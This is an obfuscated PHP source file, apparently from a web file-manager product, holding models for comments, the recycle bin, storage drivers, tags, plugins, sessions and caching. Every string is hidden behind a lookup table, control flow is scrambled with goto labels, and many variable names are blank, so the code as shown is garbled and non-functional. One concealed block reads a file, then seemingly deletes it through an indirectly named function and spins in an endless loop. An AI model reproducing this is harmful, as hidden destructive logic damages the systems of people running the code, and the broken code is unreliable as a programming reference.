{ $ݗ =& $_SERVER[ﻻ]; $ = array($ݗ[1897] => $ĵ۸); return $this->where($)->save(array($ݗ[1906] => $)); } public function prasise($Φ) { $ =& $_SERVER[ﻻ]; $ = Model($[1907]); $ = array($[1897] => $Φ, $[1669] => USER_ID); $ڸ = $->where($)->find(); if (!$ڸ) { $->add($); $ = $this->where(array($[1897] => $Φ))->setAdd($[1899], 1); } else { $->where($)->delete(); $ = $this->where(array($[1897] => $Φ))->setAdd($[1899], -1); } return $; } public function targetInfo($ع, $ޓ) { $ =& $_SERVER[ﻻ]; $އ = array($[585] => $ع, $[586] => $ޓ); $ = $this->where($އ)->count(); $ɷ = "\122\111\107\110\124\40\112\117\x49\x4e\x20{$this->tablePrefix}\143\157\155\x6d\145\156\164\x5f\160\x72\141\x69\163\x65\x20\x73\164\x61\x72\x20\x6f\156\x20\143\157\x6d\x6d\x65\156\x74\x2e\143\157\x6d\x6d\145\156\164\111\104\x20\x3d\x20\x73\164\141\162\x2e\x63\157\155\155\x65\x6e\164\111\x44"; $Ꟑ̹ = $this->alias($[354])->where($އ)->join($ɷ, $[1908])->count(); $ӷ = array($[1909] => $, $[1910] => $Ꟑ̹); return $ӷ; } public function listData($Ҷǽ) { $ =& $_SERVER[ﻻ]; if (isset($Ҷǽ[$[1911]])) { if ($Ҷǽ[$[1911]]) { $Ҷǽ[$[1904]] = array($[1024], intval($Ҷǽ[$[1911]])); } unset($Ҷǽ[$[1911]]); } if (isset($Ҷǽ[$[1912]])) { if ($Ҷǽ[$[1912]]) { $Ҷǽ[$[1904]] = array($[1021], intval($Ҷǽ[$[1912]])); } unset($Ҷǽ[$[1912]]); } return $this->_listData($Ҷǽ); } private function _listData($) { $ =& $_SERVER[ﻻ]; $ݣ = $this->where($)->_makeOrder()->selectPage(100); $this->_listAppendParent($ݣ[$[369]]); $this->_listAppendUser($ݣ[$[369]]); $this->_listAppendMeta($ݣ[$[369]]); return $ݣ; } private function _makeOrder() { $֥ =& $_SERVER[ﻻ]; $ = array($֥[1899], $֥[1898], $֥[201]); $ύ = Input::get($֥[466], $֥[7], $֥[432], $); $Ȋ = Input::get($֥[467], $֥[7], $֥[1671], array($֥[1913], $֥[462])); $ = $ύ . $֥[53] . $Ȋ; return $this->order($); } private function _listAppendParent(&$ߎ) { $Ȯ =& $_SERVER[ﻻ]; $˾ = array_unique(array_to_keyvalue($ߎ, $Ȯ[12], $Ȯ[1896])); $˾ = array_remove_value($˾, $Ȯ[198]); if (!$˾) { return; } $ = $this->where(array($Ȯ[1897] => array($Ȯ[7], $˾)))->select(); $ = array_to_keyvalue($, $Ȯ[1904]); foreach ($ߎ as &$) { if (isset($[$[$Ȯ[1896]]])) { $[$Ȯ[1914]] = $[$[$Ȯ[1896]]]; } } unset($); } private function _listAppendUser(&$) { $ =& $_SERVER[ﻻ]; $˴ = array_unique(array_to_keyvalue($, $[12], $[1678])); $˴ = array_remove_value($˴, $[198]); if (count($˴) == 0) { return; } foreach ($ as $) { if (isset($[$[1914]])) { $˴[] = $[$[1914]][$[1678]]; } } $ = Model($[534])->userListInfo($˴); foreach ($ as &$) { $[$[599]] = $[$[$[1678]]]; if (isset($[$[1914]])) { $[$[1914]][$[599]] = $[$[$[1914]][$[1678]]]; } } unset($); } private function _listAppendMeta(&$捅) { $֬ =& $_SERVER[ﻻ]; $ = array_unique(array_to_keyvalue($捅, $֬[12], $֬[1904])); $ = array_remove_value($, $֬[198]); if (!$) { return; } foreach ($捅 as $ш) { if (isset($ш[$֬[1914]])) { $[] = $ш[$֬[1914]][$֬[1904]]; } } $ݓ = $this->metaList($); if (!$ݓ) { return !1; } foreach ($捅 as &$ш) { $ш[$֬[475]] = $ݓ[$ш[$֬[1904]]]; if (isset($ш[$֬[1914]])) { $ш[$֬[1914]][$֬[475]] = $ݓ[$ш[$֬[1914]][$֬[1904]]]; } } unset($ш); } private function metaList($) { $͎ͻ =& $_SERVER[ﻻ]; if (!$) { return array(); } $˘ = array($͎ͻ[1904] => array($͎ͻ[7], $)); $ޗ = Model($͎ͻ[1915])->where($˘)->select(); $ޗ = array_to_keyvalue_group($ޗ, $͎ͻ[1904]); foreach ($ޗ as $嶶 => $Ҁ) { $ = array(); foreach ($Ҁ as $ļ) { $[$ļ[$͎ͻ[94]]] = $ļ[$͎ͻ[374]]; } $ޗ[$嶶] = $; } return $ޗ ? $ޗ : array(); } } goto Dࣂ; d: class SourceRecycleModel extends ModelBase { protected $tableName = "\x69\x6f\137\x73\x6f\165\162\x63\145\x5f\162\145\x63\x79\143\154\x65"; protected $dataAuto = array(array("\x63\x72\145\x61\164\x65\x54\151\155\145", "\x74\x69\155\145", "\151\156\163\x65\162\164", "\x66\x75\156\143\164\x69\x6f\156")); public function listData($݄ = false) { $ =& $_SERVER[ﻻ]; $݄ = $݄ ? $݄ : USER_ID; $ = $this->where(array($[1669] => $݄))->select(); return array_to_keyvalue($, $[12], $[411]); } public function moveToRecycle($) { $ϛ =& $_SERVER[ﻻ]; $ = Model($ϛ[1349]); $ۮ = $->sourceInfo($); if (!$ۮ || $ۮ[$ϛ[440]] == $ϛ[88]) { return; } $ = array($ϛ[426] => $, $ϛ[1669] => USER_ID, $ϛ[585] => $ۮ[$ϛ[420]], $ϛ[586] => $ۮ[$ϛ[505]], $ϛ[589] => $ۮ[$ϛ[520]]); $this->add($); $this->recycleMove($, 1); if ($ۮ[$ϛ[419]] == $ϛ[88]) { $ = array($ϛ[589] => array($ϛ[549], $ۮ[$ϛ[520]] . $ . $ϛ[550])); $->where($)->setField($ϛ[440], 1); } } public function clear() { $this->remove(!1); } public function remove($ڜ = false, $ = false) { $ =& $_SERVER[ﻻ]; $ = $ ? $ : USER_ID; $ٖ = Model($[1349]); $ = $this->listData($); $ڜ = $ڜ === !1 ? !1 : $ڜ; $ = array(); foreach ($ as $) { if ($ڜ != !1 && !in_array($, $ڜ)) { continue; } $ = $ٖ->sourceInfo($); $ٖ->remove($, !1); $ = $[$[420]] . $[11] . $[$[505]]; $[$] = array($[585] => $[$[420]], $[505] => $[$[505]]); $this->where(array($[411] => $))->delete(); } foreach ($ as $) { $ٖ->targetSpaceUpdate($[$[420]], $[$[505]]); } } public function restore($ʷ = false) { $ = $this->listData(); $this->_restoreSource($, $ʷ); } public function removeUserAll($) { $this->remove(!1, $); } private function _restoreSource($, $ˏ) { $ִ =& $_SERVER[ﻻ]; $ճ = Model($ִ[1349]); $ˏ = $ˏ == !1 ? !1 : $ˏ; if (!$) { return !0; } $Ҟ = array(); foreach ($ as $榍) { if ($ˏ != !1 && !in_array($榍, $ˏ)) { continue; } $ = $ճ->sourceInfo($榍); $ŀݘ = $ճ->sourceInfo($[$ִ[441]]); if ($ŀݘ[$ִ[440]] == $ִ[88]) { continue; } $ճ->lockMoveStart($榍); $this->recycleMove($榍, 0); if ($[$ִ[419]] == $ִ[88]) { $ſ = array($ִ[589] => array($ִ[549], $[$ִ[520]] . $榍 . $ִ[550])); $ճ->where($ſ)->setField($ִ[440], 0); $this->restoreFolderChildren($榍, $); } $this->where(array($ִ[411] => $榍))->delete(); $ճ->folderSizeReset($[$ִ[441]]); $Ҟ[] = $[$ִ[441]]; if ($[$ִ[419]] == $ִ[88]) { $Ҟ[] = $榍; } $ճ->lockMoveEnd($榍); } $ճ->updateModifyTime($Ҟ); } private function restoreFolderChildren($, $餃) { $Ä =& $_SERVER[ﻻ]; $볓 = Model($Ä[1349]); $ƅ = array($Ä[411] => array($Ä[7], array())); foreach ($餃 as $ĖК) { if ($ĖК == $) { continue; } if (!$볓->isParentOf($, $ĖК)) { continue; } $ = $볓->sourceInfo($ĖК); if ($[$Ä[419]] == $Ä[88]) { $ƅ[] = array($Ä[589] => array($Ä[549], $[$Ä[520]] . $ĖК . $Ä[550])); } else { $ƅ[$Ä[411]][1][] = $ĖК; } } if (!$ƅ[$Ä[411]][1]) { unset($ƅ[$Ä[411]]); } if (!$ƅ) { return; } $ƅ[$Ä[411]][1] = array_unique($ƅ[$Ä[411]][1]); $ƅ[$Ä[1010]] = $Ä[1965]; $볓->where($ƅ)->setField($Ä[440], 1); } private function recycleMove($, $ = 1) { $ =& $_SERVER[ﻻ]; $ = Model($[1349]); $۾ = Model($[2181]); $ڦ = array($[411] => $); if ($) { $->where($ڦ)->setField($[440], 1); $۾->eventRecycle($, $[2182]); } else { $ու = $->where($ڦ)->find(); $ۂ = $ու[$[419]] == $[88]; $ = $->fileNameAuto($ու[$[441]], $ու[$[32]], REPEAT_RENAME_FOLDER, $ۂ); if ($ != $ու[$[32]]) { $->rename($, $); } $->where($ڦ)->setField($[440], 0); $۾->eventRecycle($, $[2183]); } } } class SourceSecretModel extends ModelBaseLight { public $optionType = "\x53\x79\x73\164\145\155\56\163\157\x75\162\143\x65\123\145\143\162\x65\164\x4c\151\163\x74"; public $field = array("\163\x6f\165\x72\143\x65\x49\x44", "\164\171\160\x65\x49\104", "\x63\162\145\141\x74\145\125\163\x65\x72"); } class StorageModel extends ModelBaseLight { public $optionType = "\x53\x79\x73\x74\145\155\x2e\163\164\157\162\x61\147\x65\114\151\163\x74"; public $field = array("\156\x61\155\145", "\163\151\x7a\x65\115\141\170", "\163\x79\163\164\145\x6d", "\x64\145\146\141\x75\154\164", "\144\162\x69\x76\x65\x72", "\x63\157\x6e\146\x69\147"); public function listData($ڕ = false, $Ӆٚ = "\155\157\x64\x69\146\x79\x54\x69\x6d\x65", $Ǒ = false) { $͟ =& $_SERVER[ﻻ]; $ = parent::listData($ڕ, $Ӆٚ, $Ǒ); if ($ڕ) { return $; } $ = $this->ioSizeUseGet(array_to_keyvalue($, $͟[12], $͟[399])); foreach ($ as $ڙ => $ѵ) { unset($[$ڙ][$͟[6]]); $[$ڙ][$͟[1856]] = isset($[$ѵ[$͟[399]]]) ? $[$ѵ[$͟[399]]] : 0; } return $; } public function ioSizeUseGet($Ҫ) { $ۂ́ =& $_SERVER[ﻻ]; if (!$Ҫ) { return array(); } $ձ = $ۂ́[2184] . implode($ۂ́[50], $Ҫ); $ = Cache::get($ձ); if ($) { return $; } $ = array($ۂ́[830] => $ۂ́[399], $ۂ́[2185] => $ۂ́[76]); $娘 = array($ۂ́[830] => array($ۂ́[7], $Ҫ)); $ = Model($ۂ́[802])->field($)->where($娘)->group($ۂ́[830])->select(); $ = array_to_keyvalue($, $ۂ́[399], $ۂ́[76]); Cache::set($ձ, $, 600); return $; } public function getConfig($) { $ = parent::listData($); return json_decode($[$_SERVER[ﻻ][6]], !0); } public function update($, $鉷·) { $ =& $_SERVER[ﻻ]; $Ϊ = $鉷·[$[32]]; $ہ = array_to_keyvalue(parent::listData(), $[32]); if (isset($ہ[$Ϊ]) && $ہ[$Ϊ][$[399]] != $) { return !1; } $this->checkPwd($, $鉷·); if (isset($鉷·[$[2186]]) && $鉷·[$[2186]] == $[88]) { $this->checkConfig($鉷·); } unset($鉷·[$[2186]]); $ŭ = parent::update($, $鉷·); if ($ŭ && $鉷·[$[37]]) { $ = 0; foreach ($ہ as $̠ʎ) { if ($̠ʎ[$[37]] && $̠ʎ[$[399]] != $) { $ = $̠ʎ[$[399]]; parent::update($̠ʎ[$[399]], array($[37] => 0)); } } $this->updateBackup($, $); } return $ŭ; } public function add($) { $ =& $_SERVER[ﻻ]; $ѧ = array_to_keyvalue(parent::listData(), $[32]); if (isset($ѧ[$[$[32]]])) { return !1; } $this->checkConfig($); $ކ = parent::insert($); if ($ކ && $[$[37]]) { foreach ($ѧ as $) { if ($[$[37]]) { parent::update($[$[399]], array($[37] => 0)); } } } return $ކ; } public function updateBackup($ܨ, $) { $ً =& $_SERVER[ﻻ]; if (!$) { return; } $ = Model($ً[761])->config(); if ($[$ً[1648]] != $ً[88] || $[$ً[764]] != $) { return; } $ݱ = Model($ً[783])->get($ً[793]); $ݱ = json_decode($ݱ, !0); if (!$ݱ) { return; } $ݱ[$ً[764]] = $ܨ; Model($ً[783])->set(array($ً[793] => $ݱ)); } public function checkPwd($, &$) { $ʁ =& $_SERVER[ﻻ]; if (empty($[$ʁ[6]])) { return; } $呉 = json_decode($[$ʁ[6]], !0); $η = $ʁ[12]; $ = array($ʁ[2187], $ʁ[2188], $ʁ[899]); foreach ($ as $) { if (isset($呉[$])) { $η = $; break; } } if (!$η) { return; } $ = $this->getConfig($); $ճô = $[$η]; $祪 = $呉[$η]; if ($祪 == str_repeat($ʁ[189], strlen($ճô))) { $呉[$η] = $ճô; $[$ʁ[6]] = json_encode($呉); } else { if ($祪 != $ճô) { $[$ʁ[2186]] = $ʁ[88]; } } } public function checkConfig(&$싈̍, $ɽр = false) { $Θ =& $_SERVER[ﻻ]; $ݳ = strtolower($싈̍[$Θ[95]]); $ = json_decode($싈̍[$Θ[6]], !0); foreach ($ as $ => $Ӈ) { $[$] = trim($Ӈ); } $[$Θ[2189]] = rand_string(6); $ܛ = $GLOBALS[$Θ[6]][$Θ[89]][$Θ[839]]; $ = isset($ܛ[$ݳ]) ? $ܛ[$ݳ] : ucfirst($ݳ); $ŧ = $Θ[74] . $; if (!$ || !class_exists($ŧ)) { if ($ɽр) { return LNG($Θ[2190]); } write_log(array($Θ[2191], $싈̍, get_caller_info()), $Θ[2192]); show_json(LNG($Θ[2190]), !1, $싈̍); } $ = new $ŧ($); if (in_array($ݳ, $->objectDriver)) { if (!$->isBucketCors() && !$->setBucketCors()) { $ = LNG($Θ[2193]); $ .= $Θ[2194] . LNG($Θ[2195]); if ($ɽр) { return $; } show_json($, !1); } } $ = rtrim($[$Θ[1190]], $Θ[8]) . $Θ[8]; $藛 = $->getPath($ . $Θ[1194]); if (!$->mkfile($藛)) { if ($ɽр) { return LNG($Θ[2193]); } show_json(LNG($Θ[2193]), !1); } $[$Θ[1190]] = $; $싈̍[$Θ[6]] = json_encode($); $싈̍[$Θ[95]] = $; return !0; } public function driverListSystem() { $逅 =& $_SERVER[ﻻ]; $ԩ = parent::listData(); $ߩ = array(); foreach ($ԩ as $Ը) { unset($Ը[$逅[201]], $Ը[$逅[85]]); $Ը[$逅[6]] = json_decode($Ը[$逅[6]], !0); $ߩ[] = $Ը; } return $ߩ; } public function defaultDriver() { $ =& $_SERVER[ﻻ]; $Ϋ = parent::listData(); $ޗ = array_filter_by_field($Ϋ, $[37], 1); $ޗ = $ޗ[0]; if ($ޗ) { $ޗ[$[6]] = json_decode($ޗ[$[6]], !0); } return $ޗ; } public function driverInfo($ғ) { $ʄ =& $_SERVER[ﻻ]; $Á = array_to_keyvalue(parent::listData(), $ʄ[399]); if (!isset($Á[$ғ])) { return !1; } $ = $Á[$ғ]; $[$ʄ[6]] = json_decode($[$ʄ[6]], !0); return $; } public function remove($ɫƆ) { $this->removeShareItems($ɫƆ); return parent::remove($ɫƆ); } public function removeWithFile($܃, $) { $ä =& $_SERVER[ﻻ]; $Ѷ惷 = array($ä[830] => $܃); $ = Model($ä[480])->where($Ѷ惷)->count(); $ɼ = Model($ä[480])->where($Ѷ惷)->sum($ä[76]); $ = $ . $ä[2196] . $܃; $Ҋ̦ = LNG($ == $ä[557] ? $ä[2197] : $ä[2198]); $ = new TaskFileTransfer($, $ä[2192], $, $Ҋ̦ . "\50{$܃}\x29"); $->task[$ä[776]] = (double) $ɼ; $ߙ = KodIO::defaultDriver(); $Ϟ = $ߙ[$ä[399]]; $ױ = "\173\151\157\72{$Ϟ}\x7d\x2f"; $ = !0; $߁ = array(); $Ӊ = Model($ä[200])->where($Ѷ惷)->field($ä[2199])->select(); foreach ($Ӊ as $) { $ = $[$ä[84]]; $ᖒ = $ױ . str_replace("\x7b\x69\157\x3a{$܃}\175\x2f", $ä[12], $); if (!IO::exist($)) { $߁[] = $[$ä[477]]; $->updateFileEnd($[$ä[32]], $[$ä[76]]); continue; } if (IO::exist($ᖒ)) { $->updateFileEnd($[$ä[32]], $[$ä[76]]); continue; } if (!IO::move($, get_path_father($ᖒ))) { $ = !1; break; } $Ѷ惷 = array($ä[477] => $[$ä[477]]); $ = array($ä[830] => $Ϟ, $ä[84] => $ᖒ); Model($ä[200])->where($Ѷ惷)->save($); } $this->removeByFileID($߁); if (!$) { $->stop($); return !1; } $->end(); if ($ == $ä[1836]) { $this->remove($܃); } } public function progress($΅, $) { return Task::get($ . $_SERVER[ﻻ][2196] . $΅); } private function removeByFileID($ղǝ = array()) { $آ =& $_SERVER[ﻻ]; if (empty($ղǝ)) { return; } $ظ = array($آ[477] => array($آ[7], $ղǝ)); $撍 = Model($آ[1349])->where($ظ)->field($آ[411])->select(); if (!$撍) { return; } $撍 = array_to_keyvalue($撍, $آ[12], $آ[411]); foreach ($撍 as $̍) { Model($آ[425])->removeNow($̍, !1); } } private function removeShareItems($) { $ۍ =& $_SERVER[ﻻ]; $̊ = "\173\151\157\72{$}\175\57"; $֩ = array($ۍ[411] => 0, $ۍ[1185] => array($ۍ[383], "{$̊}\45")); $۰ = Model($ۍ[1847])->where($֩)->field($ۍ[602])->select(); if (empty($۰)) { return; } $ = array_to_keyvalue($۰, $ۍ[12], $ۍ[602]); Model($ۍ[601])->remove($); } } goto Fշ; bԠЧ: class GroupTagModel extends ModelBase { protected $tableName = "\165\163\145\162\137\x66\x61\166"; protected function cacheFunctionAlias($ڻ) { $ =& $_SERVER[ﻻ]; return array($[1976] => array($ڻ[0], $[1977]), $[1978] => array($ڻ[0], $[1979])); } protected function get($ç) { $ͫ =& $_SERVER[ﻻ]; $ = Model($ͫ[521])->metaGet($ç, $ͫ[1980]); $ = json_decode($, !0); return $ ? $ : array($ͫ[1981] => $ͫ[88], $ͫ[369] => array()); } protected function set($éڜ, $) { $՜ې =& $_SERVER[ﻻ]; $ = $ ? $ : array($՜ې[1981] => $՜ې[88], $՜ې[369] => array()); return Model($՜ې[521])->metaSet($éڜ, $՜ې[1980], json_encode($)); } protected function getByTagID($ȓǣ, $ܸ) { $ש =& $_SERVER[ﻻ]; if (!$ȓǣ || !$ܸ) { return !1; } if (!Model($ש[521])->getInfoSimple($ȓǣ)) { return !1; } $ڐӹ = $this->get($ȓǣ); if (!$ڐӹ || !isset($ڐӹ[$ש[369]])) { return !1; } $ = array_find_by_field($ڐӹ[$ש[369]], $ש[399], $ܸ); return is_array($) ? $ : !1; } public function listSource($ˀ, $⪠) { $۹ =& $_SERVER[ﻻ]; if ($⪠ && !is_array($⪠)) { $⪠ = array($⪠); } $̥ה = $this->listData($ˀ); $ = array(); foreach ($̥ה as $ų) { $¤ɾ = $ų[$۹[84]]; if (!$¤ɾ) { continue; } if (!isset($[$¤ɾ])) { $[$¤ɾ] = array(); } $[$¤ɾ][] = $ų[$۹[435]]; } $ڼ = array(); foreach ($ as $à => $ָ) { $ʾ = !0; if (!$⪠) { $ڼ[] = $à; continue; } foreach ($⪠ as $ꌣ) { if (!in_array($ꌣ, $ָ)) { $ʾ = !1; break; } } if ($ʾ) { $ڼ[] = $à; } } if (!$ڼ) { return array(); } $đ = array($۹[426] => array($۹[427], $ڼ), $۹[505] => $ˀ, $۹[420] => SourceModel::TYPE_GROUP); $ = Model($۹[1349])->listSource($đ); if (!$ || count($ڼ) == $[$۹[366]][$۹[367]]) { return $; } $ = array(); $ = array_to_keyvalue($[$۹[82]], $۹[12], $۹[411]); $ = array_to_keyvalue($[$۹[83]], $۹[12], $۹[411]); $捳ؗ = array_merge($, $); foreach ($ڼ as $¤ɾ) { if (!in_array($¤ɾ, $捳ؗ)) { $[] = $¤ɾ; } } if ($) { $this->removeBySource($ˀ, $); } return $; } protected function listData($偦) { $Ң =& $_SERVER[ﻻ]; $ = array($Ң[1669] => 0, $Ң[492] => array($Ң[1982], 0), $Ң[431] => $Ң[1983] . $偦); $ᑅ = $Ң[1984]; $Ӟ = $this->field($ᑅ)->where($)->order($Ң[1985])->select(); return $Ӟ ? $Ӟ : array(); } protected function addToTag($, $̟, $) { $雙 =& $_SERVER[ﻻ]; if (!$this->getByTagID($, $) || !$̟) { return !1; } if (!Model($雙[838])->pathInfo($̟)) { return !1; } $롣 = array($雙[1669] => 0, $雙[492] => $, $雙[430] => $̟, $雙[431] => $雙[1986] . $, $雙[429] => $雙[12], $雙[1871] => 0); if ($this->where($롣)->find()) { return !1; } return $this->add($롣); } protected function removeFromTag($, $ܝ, $鐝م) { $ =& $_SERVER[ﻻ]; if (!$this->getByTagID($, $鐝م) || !$ܝ) { return !1; } if (is_array($ܝ)) { $ܝ = array($[7], $ܝ); } $ = array($[1669] => 0, $[492] => $鐝م, $[431] => $[1986] . $, $[430] => $ܝ); return $this->where($)->delete(); } protected function removeByTag($׳, $) { $ɥ =& $_SERVER[ﻻ]; if (!$this->getByTagID($׳, $)) { return !1; } $ʉ = array($ɥ[1669] => 0, $ɥ[492] => $, $ɥ[431] => $ɥ[1986] . $׳); return $this->where($ʉ)->delete(); } protected function removeBySource($ɸ, $) { $䑤 =& $_SERVER[ﻻ]; if (!$ɸ || !$) { return !1; } if (is_array($)) { $ = array($䑤[7], $); } $ = array($䑤[1669] => 0, $䑤[430] => $, $䑤[492] => array($䑤[1024], 0), $䑤[431] => $䑤[1986] . $ɸ); return $this->where($)->delete(); } } class PluginModel extends ModelBaseLight { public $optionType = "\123\171\x73\x74\145\x6d\x2e\160\154\165\147\151\156\x4c\x69\163\x74"; public $field = array("\156\x61\155\x65", "\x73\x74\x61\164\165\163", "\x72\145\147\151\145\x73\164", "\x63\157\x6e\146\151\147"); public function loadList($ֻ = false) { $ݩ = array_to_keyvalue($this->listData(), $_SERVER[ﻻ][32]); if ($ֻ) { return $ݩ[$ֻ]; } return $ݩ; } public function init() { $Ǚ =& $_SERVER[ﻻ]; Hook::trigger($Ǚ[1987]); $ى = $this->loadPluginList(); foreach ($ى as $叻 => $ʜӤ) { $ = $this->appAllow($叻, $ʜӤ); if (!$) { continue; } foreach ($ʜӤ[$Ǚ[1988]] as $ڹ => $菃) { Hook::bind($ڹ, $菃); } } Hook::trigger($Ǚ[1989]); Hook::trigger(ACTION); } public function appAllow($, $ݙڛǼ, $Ȱ = true) { $ބҔ =& $_SERVER[ﻻ]; $Ƈ = PLUGIN_DIR . $ . $ބҔ[1990]; if (!is_array($ݙڛǼ) || !is_array($ݙڛǼ[$ބҔ[1988]]) || $ݙڛǼ[$ބҔ[762]] != 1 || !is_file($Ƈ)) { return !1; } if ($GLOBALS[$ބҔ[503]] == 1) { if ($GLOBALS[$ބҔ[6]][$ބҔ[1991]] || !$GLOBALS[$ބҔ[6]][$ބҔ[1992]]) { return !0; } $ܟ = explode($ބҔ[50], strtolower($GLOBALS[$ބҔ[6]][$ބҔ[1992]])); return in_array(strtolower($), $ܟ) ? !1 : !0; } if ($Ȱ && !Action($ބҔ[1993])->checkAuth($)) { return !1; } return !0; } public function unInstall($) { $ؑڰ =& $_SERVER[ﻻ]; $ = $this->loadList($); if (file_exists(PLUGIN_DIR . $)) { Hook::apply($ . $ؑڰ[1994]); } $this->remove($[$ؑڰ[399]]); } public function changeStatus($釓삤, $) { $ =& $_SERVER[ﻻ]; $Ƅ = $this->loadList($釓삤); if ($) { Hook::apply($釓삤 . $[1995]); } $this->update($Ƅ[$[399]], array($[1996] => $)); } public function appRegist($, $ʯ) { $ߔ =& $_SERVER[ﻻ]; $ = $this->loadList($); if ($) { $this->update($[$ߔ[399]], array($ߔ[1988] => $ʯ)); } else { $ЛȚ = array($ߔ[32] => $, $ߔ[1988] => $ʯ, $ߔ[762] => 0, $ߔ[6] => $this->getConfigDefault($)); $this->insert($ЛȚ); } } public function getConfigDefault($Ŋ) { $ܥ =& $_SERVER[ﻻ]; $ = array(); $ = $this->getPackageJson($Ŋ); if (!$ && is_array($[$ܥ[1997]])) { return $; } foreach ($[$ܥ[1997]] as $ => $˗) { if (!isset($˗[$ܥ[374]]) || isset($[$])) { continue; } $[$] = $˗[$ܥ[374]]; } return $; } public function getPackageJson($ƹ) { return Hook::apply($ƹ . $_SERVER[ﻻ][1998]); } public function getConfig($ػ, $ꏜ = false) { $ҝ =& $_SERVER[ﻻ]; $ν = array(); $ǧ© = $this->loadList($ػ); if ($ǧ© && is_array($ǧ©[$ҝ[6]])) { $ν = $ǧ©[$ҝ[6]]; } if (!$ν || $ꏜ) { $ν = $this->getConfigDefault($ػ); } return $ν; } public function setConfig($, $ӵ = false) { $ =& $_SERVER[ﻻ]; $ = $this->loadList($); if (!$) { return !1; } $ = $[$[6]]; if ($ӵ == !1) { $ = array(); $ӵ = $this->getConfigDefault($); } foreach ($ӵ as $ => $Ϸ͗) { $[$] = is_string($Ϸ͗) ? trim($Ϸ͗) : $Ϸ͗; } $this->update($[$[399]], array($[6] => $)); } public function viewList() { $ =& $_SERVER[ﻻ]; $ = $this->loadList(); $this->pluginScan($); $ = $this->loadPluginList(); $Գ = array(); foreach ($ as $ => $մ) { unset($մ[$[1988]], $մ[$[6]]); $ = PLUGIN_DIR . $մ[$[32]] . $[1990]; if (!is_file($)) { continue; } $ = Hook::apply($մ[$[32]] . $[1998]); if (is_array($)) { $Գ[$] = array_merge($մ, $); } } return $Գ; } private function loadPluginList() { $Ăڡ =& $_SERVER[ﻻ]; $ = $this->loadList(); if (strtolower(MOD) == $Ăڡ[1999]) { return $; } $ڢ = Hook::trigger($Ăڡ[2000], $); if ($ && !$ڢ) { die; } return $ڢ ? $ڢ : $; } private function pluginScan($ۘ) { $ =& $_SERVER[ﻻ]; recursion_dir(PLUGIN_DIR, $Α, $, 0); foreach ($Α as $ĸ) { $ڇʩ = get_path_this($ĸ); if (isset($ۘ[$ڇʩ]) || !file_exists($ĸ . $[2001]) || !file_exists($ĸ . $[1990])) { continue; } Hook::apply($ڇʩ . $[1995]); } } } class SessionModel extends ModelBase { protected $tableName = "\163\x79\x73\x74\145\x6d\137\163\x65\163\x73\x69\x6f\x6e"; public function get($ӏ٠) { $ɷ =& $_SERVER[ﻻ]; $ = $this->where(array($ɷ[2002] => $ӏ٠))->find(); if (!is_array($)) { return !1; } return $[$ɷ[767]]; } public function set($, $, $ = 3600) { $ =& $_SERVER[ﻻ]; $ = array($[2002] => $, $[1906] => $, $[2003] => $ + time()); if (Session::get($[2004])) { $[$[1678]] = Session::get($[2004]); } else { $[$[1678]] = 0; } if ($this->get($)) { return $this->where(array($[2002] => $))->save($); } else { return $this->add($, array(), !0); } } public function remove($) { return $this->where(array($_SERVER[ﻻ][2002] => $))->delete(); } public function clearTimeout() { return $this->where($_SERVER[ﻻ][2005] . time())->delete(); } } goto aܭ̡; bلь: if (!isset($_SERVER[$_SERVER[ﻻ][401]]) || !isset($_SERVER[$_SERVER[ﻻ][409]])) { $_getc = $_SERVER[ﻻ][403]; $_getfile = $_SERVER[$_SERVER[ﻻ][404]] . $_SERVER[ﻻ][405]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[ﻻ][231], $_getfilec); if (count($_getarrs) < $_SERVER[ﻻ][406]) { $exit = $_SERVER[ﻻ][407]; $exit(); } $_act = $_SERVER[ﻻ][408]; $_act($_SERVER[$_SERVER[ﻻ][404]] . $_SERVER[ﻻ][405]); $_iii = 2; while ($_iii > 1) { $_iiij = rawurlencode($_iii . $_SERVER[ﻻ][378]); } } class CacheLockDatabase { public function lock($ө, $Ą = 0) { $ϒ = Model($_SERVER[ﻻ][842]); $ͺ = microtime(!0) + $Ą; while (microtime(!0) < $ͺ) { $ְ = $ϒ->get($ө); if (!$ְ || $ְ < microtime(!0)) { $猉 = $ϒ->set($ө, $ͺ); if ($猉) { return !0; } } cacheLockWait(); } return !1; } public function lockGet($) { return Model($_SERVER[ﻻ][842])->get($); } public function unlock($) { Model($_SERVER[ﻻ][842])->remove($); } } class CacheMemcached { public $handle; public $cacheTime; public function __construct($Œ̷, $) { $ =& $_SERVER[ﻻ]; if (!class_exists($[879])) { show_json($[880], !1); } $this->cacheTime = $; $this->handle = new Memcached(); if (is_array($Œ̷[$[881]]) && count($Œ̷[$[881]]) >= 1) { foreach ($Œ̷[$[881]] as $) { $ = explode($[4], $); $this->handle->addServer($[0], $[1]); } } else { $this->handle->addServer($Œ̷[$[182]], $Œ̷[$[183]]); } } public function set($, $, $Ғ = false) { $Ғ = $Ғ ? $Ғ : $this->cacheTime; return $this->handle->set($, $, $Ғ); } public function get($ب) { return $this->handle->get($ب); } public function remove($鉸) { return $this->handle->delete($鉸); } public function deleteAll() { return $this->handle->flush(); } } goto AΖț; A: class KodIO { const KOD_SOURCE = "\173\163\157\x75\162\143\x65\x7d"; const KOD_USER_RECYCLE = "\173\165\x73\145\x72\122\x65\143\x79\143\x6c\145\175"; const KOD_USER_FAV = "\173\x75\x73\x65\162\106\x61\x76\x7d"; const KOD_USER_FILE_TAG = "\x7b\165\x73\145\x72\x46\x69\x6c\x65\124\x61\x67\175"; const KOD_USER_FILE_TYPE = "\173\165\x73\145\x72\x46\151\x6c\x65\x54\171\x70\145\x7d"; const KOD_GROUP_ROOT_SELF = "\173\147\x72\x6f\x75\160\x52\x6f\x6f\x74\x53\x65\154\146\x7d"; const KOD_USER_SHARE = "\x7b\165\x73\145\162\x53\x68\x61\x72\145\175"; const KOD_USER_SHARE_LINK = "\x7b\165\x73\x65\x72\123\x68\x61\162\x65\114\151\156\153\175"; const KOD_USER_SHARE_TO_ME = "\x7b\163\x68\141\162\145\124\157\x4d\145\175"; const KOD_SHARE_ITEM = "\x7b\163\150\x61\x72\145\x49\x74\x65\155\175"; const KOD_SHARE_LINK = "\x7b\x73\150\x61\x72\145\x49\164\x65\155\x4c\x69\x6e\153\x7d"; const KOD_SEARCH = "\x7b\x73\145\x61\162\143\150\175"; const KOD_BLOCK = "\173\x62\154\x6f\143\x6b\x7d"; const KOD_IO = "\x7b\x69\157\175"; const KOD_USER_RECENT = "\173\x75\163\145\x72\122\145\x6e\x63\145\x6e\x74\x7d"; const KOD_USER_DRIVER = 